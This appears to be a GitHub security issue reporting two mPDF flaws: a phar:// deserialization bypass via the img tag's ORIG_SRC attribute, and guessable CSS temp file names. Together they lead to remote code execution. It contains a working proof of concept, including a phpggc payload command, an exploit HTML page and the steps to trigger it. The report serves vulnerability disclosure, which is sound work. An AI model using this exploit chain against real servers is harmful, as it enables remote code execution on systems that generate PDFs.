Skip to content

phar:// deserialization and weak randomness of temporary file name may lead to RCE #1381

@CykuTW

Description

@CykuTW

Hello,

I found these issues on a real world service which uses mPDF with version that already fixed issue #949.

Issue 1: phar:// deserialization through <img ORIG_SRC="">

In getImage function, the $file variable come from src attribute of img tag is blocked if its value starts with phar://.
And it only checks the $file variable, but misses $orig_srcpath which also could be come from img tag.

public function getImage(&$file, $firsttime = true, $allowvector = true, $orig_srcpath = false, $interpolation = false)
{
/**
* Prevents insecure PHP object injection through phar:// wrapper
* @see https://github.com/mpdf/mpdf/issues/949
*/
$wrapperChecker = new StreamWrapperChecker($this->mpdf);
if ($wrapperChecker->hasBlacklistedStreamWrapper($file)) {
return $this->imageError($file, $firsttime, 'File contains an invalid stream. Only ' . implode(', ', $wrapperChecker->getWhitelistedStreamWrappers()) . ' streams are allowed.');
}

The $orig_srcpath is directly used in fopen function, this causes insecure deserialization through phar:// wrapper again.

if (empty($data)) {
$data = '';
if ($orig_srcpath && $this->mpdf->basepathIsLocal && $check = @fopen($orig_srcpath, 'rb')) {
fclose($check);
$file = $orig_srcpath;
$this->logger->debug(sprintf('Fetching (file_get_contents) content of file "%s" with local basepath', $file), ['context' => LogContext::REMOTE_CONTENT]);
$data = file_get_contents($file);
$type = $this->guesser->guess($data);
}

This can be verified with the 3 lines code.
If you receives a connection on port 8080, that means the ORIG_SRC attribute works and is not limited by StreamWrapperChecker.

<?php

require_once __DIR__ . '/vendor/autoload.php';
$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="any" ORIG_SRC="php://filter/resource=http://localhost:8080">');

Issue 2: weak randomness of temporary file name

The CssManager finds all data URI with base64 encoding in CSS, and cached the decoded content with temporary file.
But the name of temporary file is not random enough, the filename would be like _tempCSSidataX_0.jpeg where 1 <= X <= 10000.

mpdf/src/CssManager.php

Lines 224 to 232 in 3d17bc9

// Replace any background: url(data:image... with temporary image file reference
preg_match_all("/(url\(data:image\/(jpeg|gif|png);base64,(.*?)\))/si", $CSSstr, $idata); // mPDF 5.7.2
$count_idata = count($idata[0]);
if ($count_idata) {
for ($i = 0; $i < $count_idata; $i++) {
$file = $this->cache->write('_tempCSSidata' . random_int(1, 10000) . '_' . $i . '.' . $idata[2][$i], base64_decode($idata[3][$i]));
$CSSstr = str_replace($idata[0][$i], 'url("' . $file . '")', $CSSstr); // mPDF 5.5.17
}
}

If target doesn't configure tempDir, the default tempDir is vendor/mpdf/mpdf/tmp/mpdf/.

This makes the attacker can create a lots of files with controllable content in known locations, and achieve Remote Code Execution by combining with phar:// deserialization.

Proof of concept

In my scenario, the target is a laravel v7.30.4 application on PHP 7 with carlos-meneses/laravel-mpdf 2.1.4 package.
And dependency is mPDF v8.0.10.

Ref: carlos-meneses/laravel-mpdf

Step 1

I wrote a controller to simulate the original scenario.

app/Http/Controllers/MyController.php

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use PDF;

class MyController extends Controller
{
    public function generate(Request $request) 
    {
        $url = $request->input('url');
        if ($this->isHttpURL($url)) {
            $html = file_get_contents($url);
            $pdf = PDF::loadHTML($html);
            $pdf->download('document.pdf');
        } else {
            return "Please provide a valid URL.";
        }
    }

    private function isHttpURL($url)
    {
        return $this->strStartsWith($url, 'http://') 
                || $this->strStartsWith($url, 'https://');
    }

    private function strStartsWith($string, $startString) 
    { 
        $len = strlen($startString); 
        return (substr($string, 0, $len) === $startString); 
    }
}

routes/web.php

Route::get('/generate', 'MyController@generate');

Step 2

I uses tool phpggc to create phar payload in base64 encoding.

$ ./phpggc Laravel/RCE6 'die(`id > /tmp/pwn`);' -p phar -b -pf a.jpg

Step 3

And create a web page containing content like:

exploit.html

<style>
    background: url(data:image/jpeg;base64,here_is_the_phar_payload_in_base64_encoding);
</style>

<img src="#1.jpeg" ORIG_SRC="phar://../vendor/mpdf/mpdf/tmp/mpdf/_tempCSSidata1_0.jpeg/a.jpg"></img>

Of course, we can put more img tags in the html to increase the probability of opening phar file.

Step 4

Finally, we can open the url http://localhost/generate?url=http://server_hosting_page_from_step3/exploit.html multiple times until the payload is executed.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions